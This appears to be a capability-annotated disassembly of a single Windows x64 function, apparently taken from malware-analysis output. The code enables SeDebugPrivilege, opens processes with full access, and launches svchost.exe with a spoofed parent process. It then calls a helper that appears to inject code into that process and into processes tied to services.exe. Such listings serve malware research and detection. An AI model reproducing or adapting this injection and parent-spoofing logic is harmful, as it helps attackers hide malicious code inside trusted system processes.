Function at 0x140001112
Capabilities:
Acquire debug privileges
Create process on windows
Spoof parent pid

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x498
mov r15, rdx
lea rdi, [rsp + 0x88]
mov qword [rdi], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x28
mov r8, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400011b4
lea r8, [rsp + 0x294]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400011a6
lea r8, [rsp + 0x290]
mov dword [r8], 1
mov dword [r8 + 0xc], 2
mov rcx, qword [rsp + 0x88]
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor edx, edx
mov r9d, 0x10
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
xor r13d, r13d
mov dword [rsp + 0x188], r13d
lea rbp, [rsp + 0x290]
mov dword [rbp], r13d
lea rcx, [0x1400018dc]
mov rdx, rbp
call fcn.140001910
mov esi, dword [rbp]
mov ecx, 0x400
xor edx, edx
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140001237
mov rbp, rax
lea rdx, [rsp + 0x108]
mov rcx, rax
mov r8d, 0x40
call fcn.140001a0e
test al, al
je 0x14000122e
lea rcx, [0x1400017cd]
lea rdx, [rsp + 0x108]
call fcn.140001910
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbp, [rsp + 0x90]
mov dword [rbp], 0
lea rcx, [0x140001887]
mov rdx, rbp
call fcn.140001910
cmp dword [rbp], 1
je 0x140001576
lea eax, [rbx + rbx]
add eax, 2
mov dword [rsp + 0x54], eax
mov ecx, 0x1fffff
xor edx, edx
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400013da
mov rbp, rax
lea rdi, [rsp + 0x60]
mov qword [rdi], 0
xor r12d, r12d
xor ecx, ecx
mov edx, 1
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
test rax, rax
je 0x1400013e2
mov rbx, rax
xor r12d, r12d
lea r9, [rsp + 0x60]
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x58]
mov r8d, 0x20000
mov rcx, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rdx, str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
lea rbp, [rsp + 0x290]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x98]
mov ecx, 0xd
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rdx], 0x70
mov qword [rdx + 0x68], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80404
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbp
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400013ea
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 2
xor ecx, ecx
mov r9d, 0x8664
call fcn.140001b08
mov r13d, eax
test eax, eax
sete r12b
mov rcx, qword [rsp + 0x78]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, qword [rsp + 0x70]
call rdi
jmp 0x1400013f0
mov r13d, 0x14
jmp 0x140001419
mov r13d, 0x15
jmp 0x140001407
mov r13d, 0x17
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbp, qword [rsp + 0x58]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12b, r12b
jne 0x140001576
cmp dword [rsp + 0x188], 0
mov dword [rsp + 0x6c], esi
je 0x1400014d0
mov rdi, r15
mov ebp, 0x21
mov rsi, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r14, [0x140003020]
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + rbp*4 + 0x108]
xor r15d, r15d
mov ecx, 0x1fffff
xor edx, edx
call rsi
test rax, rax
je 0x1400014ac
mov rbx, rax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140001b08
mov r13d, eax
test eax, eax
sete r15b
mov rcx, rbx
call r12
test r15b, r15b
jne 0x1400014c4
mov eax, dword [rsp + 0x188]
lea rcx, [rbp - 0x20]
inc rbp
cmp rcx, rax
jb 0x140001448
test r15b, r15b
mov r15, rdi
jne 0x140001576
lea rbp, section..rdata
mov r14, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov rcx, qword [rbp]
call fcn.140001985
xor edi, edi
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call r14
test rax, rax
je 0x140001556
mov rbx, rax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140001b08
mov r13d, eax
test eax, eax
sete dil
mov rcx, rbx
call r12
cmp rsi, 1
ja 0x14000156c
inc rsi
add rbp, 8
test dil, dil
je 0x1400014e7
test dil, dil
mov r14d, dword [rsp + 0x6c]
je 0x14000158d
mov eax, r13d
add rsp, 0x498
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:WindowsSystem32_services.exe
lea rdi, [rsp + 0x290]
mov qword [rdi], rcx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov qword [rdi + 8], rax
mov dword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0
lea rcx, [0x14000104c]
mov rdx, rdi
call fcn.140001910
mov rbx, qword [rdi + 0x18]
mov qword [rsp + 0x58], rbx
test rbx, rbx
je 0x140001759
lea rdi, [rsp + 0x60]
mov qword [rdi], 0
xor esi, esi
xor ecx, ecx
mov edx, 1
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
test rax, rax
je 0x140001722
mov rbp, rax
xor esi, esi
lea r9, [rsp + 0x60]
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x58]
mov r8d, 0x20000
mov rcx, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rdx, str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
lea rbx, [rsp + 0x290]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x98]
mov ecx, 0xd
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rdx], 0x70
mov qword [rdx + 0x68], rbp
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80404
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000172a
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 2
xor ecx, ecx
mov r9d, 0x8664
call fcn.140001b08
mov r13d, eax
test eax, eax
sete sil
mov rcx, qword [rsp + 0x78]
call r12
mov rcx, qword [rsp + 0x70]
call r12
jmp 0x140001730
mov r13d, 0x15
jmp 0x140001747
mov r13d, 0x17
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test sil, sil
jne 0x140001576
mov ecx, 0x1fffff
xor edx, edx
mov r8d, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x1400017c2
mov rbx, rax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140001b08
mov r13d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001576
mov r13d, 0x1d
jmp 0x140001576